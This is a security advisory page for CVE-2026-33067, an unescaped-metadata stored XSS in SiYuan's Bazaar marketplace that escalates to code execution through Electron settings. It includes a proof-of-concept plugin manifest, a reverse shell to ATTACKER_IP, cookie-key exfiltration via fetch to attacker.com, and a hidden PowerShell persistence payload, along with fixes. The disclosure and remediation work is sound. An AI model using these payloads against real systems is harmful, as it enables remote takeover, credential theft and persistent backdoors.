NetSight
kritisch9.0

CVE-2026-33067

SiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata

Auswirkung

# Stored XSS to RCE via Unsanitized Bazaar Package Metadata ## Summary SiYuan's Bazaar (community marketplace) renders package metadata fields (`displayName`, `description`) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab. ## Affected Component - **Metadata rendering**: `app/src/config/bazaar.ts:275-277` - **Electron config**: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`) ## Affected Versions - SiYuan <= 3.5.9 ## Severity **Critical** — CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) - CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS) ## Vulnerable Code In `app/src/config/bazaar.ts:275-277`, package metadata is injected directly into HTML templates without escaping: ```typescript // Package name injected directly — NO escaping ${item.preferredName}${item.preferredName !== item.name ? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""} // Package description — title attribute uses escapeAttr(), but text content does NOT <div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}"> ${item.preferredDesc || ""} <!-- UNESCAPED HTML --> </div> ``` The inconsistency is notable: the `title` attribute is escaped via `escapeAttr()`, but the actual rendered text content is not — indicating the risk was partially recognized but incompletely mitigated. The Electron renderer at `app/electron/main.js:422-426` is configured with: ```javascript webPreferences: { nodeIntegration: true, contextIsolation: false, // ... } ``` This means any JavaScript executing in the renderer process has direct access to Node.js APIs including `require('child_process')`, `require('fs')`, and `require('os')`. ## Proof of Concept ### Step 1: Create a malicious plugin manifest Create a GitHub repository with a valid SiYuan plugin structure. In `plugin.json`: ```json { "name": "helpful-productivity-plugin", "displayName": { "default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">" }, "description": { "default": "Boost your productivity with smart templates" }, "version": "1.0.0", "author": "attacker", "url": "https://github.com/attacker/helpful-productivity-plugin", "minAppVersion": "2.0.0" } ``` ### Step 2: Submit to Bazaar Submit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository). ### Step 3: Zero-click RCE When **any** SiYuan desktop user navigates to **Settings > Bazaar > Plugins**, the package listing renders the malicious `displayName`. The `<img src=x>` tag fails to load, firing the `onerror` handler, which calls `require('child_process').exec('calc.exe')`. **No click is required.** The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM. ### Escalation: Reverse shell ```json { "displayName": { "default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\\\"')\">" } } ``` ### Escalation: Data exfiltration (API token theft) ```json { "displayName": { "default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">" } } ``` ### Escalation: Silent persistence (Windows) ```json { "displayName": { "default": "<img src=x onerror=\"require('child_process').exec('schtasks /create /tn SiYuanUpdate /tr \\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\"https://attacker.com/payload.ps1\\\\\\\")\\\" /sc onlogon /rl highest /f')\">" } } ``` ## Attack Scenario 1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template. 2. Attacker submits it to the SiYuan Bazaar via the standard community contribution process. 3. The `plugin.json` manifest contains an XSS payload in the `displayName` or `description` field. 4. When **any** SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata. 5. The injected `<img onerror>` (or `<svg onload>`, `<details ontoggle>`, etc.) fires automatically. 6. JavaScript executes in the Electron renderer with full Node.js access (`nodeIntegration: true`). 7. The attacker achieves arbitrary OS command execution — reverse shell, data exfiltration, persistence, ransomware, etc. **The user does not need to install, click, or interact with the malicious package in any way.** Browsing the marketplace is sufficient. ## Impact - **Full remote code execution** on any SiYuan desktop user who browses the Bazaar - **Zero-click** — payload fires on page load, no interaction required - **Supply-chain attack** — targets the entire SiYuan user community via the official marketplace - Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files - Can install persistent backdoors, scheduled tasks, or ransomware - Affects all platforms: Windows, macOS, Linux ## Suggested Fix ### 1. Escape all package metadata in template rendering (`bazaar.ts`) ```typescript function escapeHtml(str: string): string { return str.replace(/&/g, '&amp;').replace(/</g, '&lt;') .replace(/>/g, '&gt;').replace(/"/g, '&quot;') .replace(/'/g, '&#039;'); } // Apply to ALL user-controlled metadata before rendering ${escapeHtml(item.preferredName)} <div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div> ``` ### 2. Server-side sanitization in the Bazaar index pipeline Sanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients: ```go func sanitizePackageDisplayStrings(pkg *Package) { if pkg == nil { return } for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) } for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) } } ``` ### 3. Long-term: Harden Electron configuration ```javascript webPreferences: { nodeIntegration: false, contextIsolation: true, sandbox: true, } ```

Ein Angreifer kann die Lücke über das Netzwerk ausnutzen, mit einem normalen Benutzerkonto, allerdings muss ein Nutzer etwas tun, etwa eine Datei oder einen Link öffnen. Bei Erfolg: hohes Risiko, dass Daten ausgelesen werden, hohes Risiko, dass Daten oder Systeme verändert werden, hohes Risiko für Ausfälle. Der Angriff kann über die verwundbare Komponente hinaus wirken.

Betroffene Pakete

ÖkosystemPaketBetroffenBehoben in
gogithub.com/siyuan-note/siyuan/kernel< 0.0.0-20260317012524-fe4523fff2c80.0.0-20260317012524-fe4523fff2c8

Betroffene Produkte · B3log

ProduktBetroffene Versionen
Siyuan
vor 3.6.1

Schwachstellenklasse

Referenzen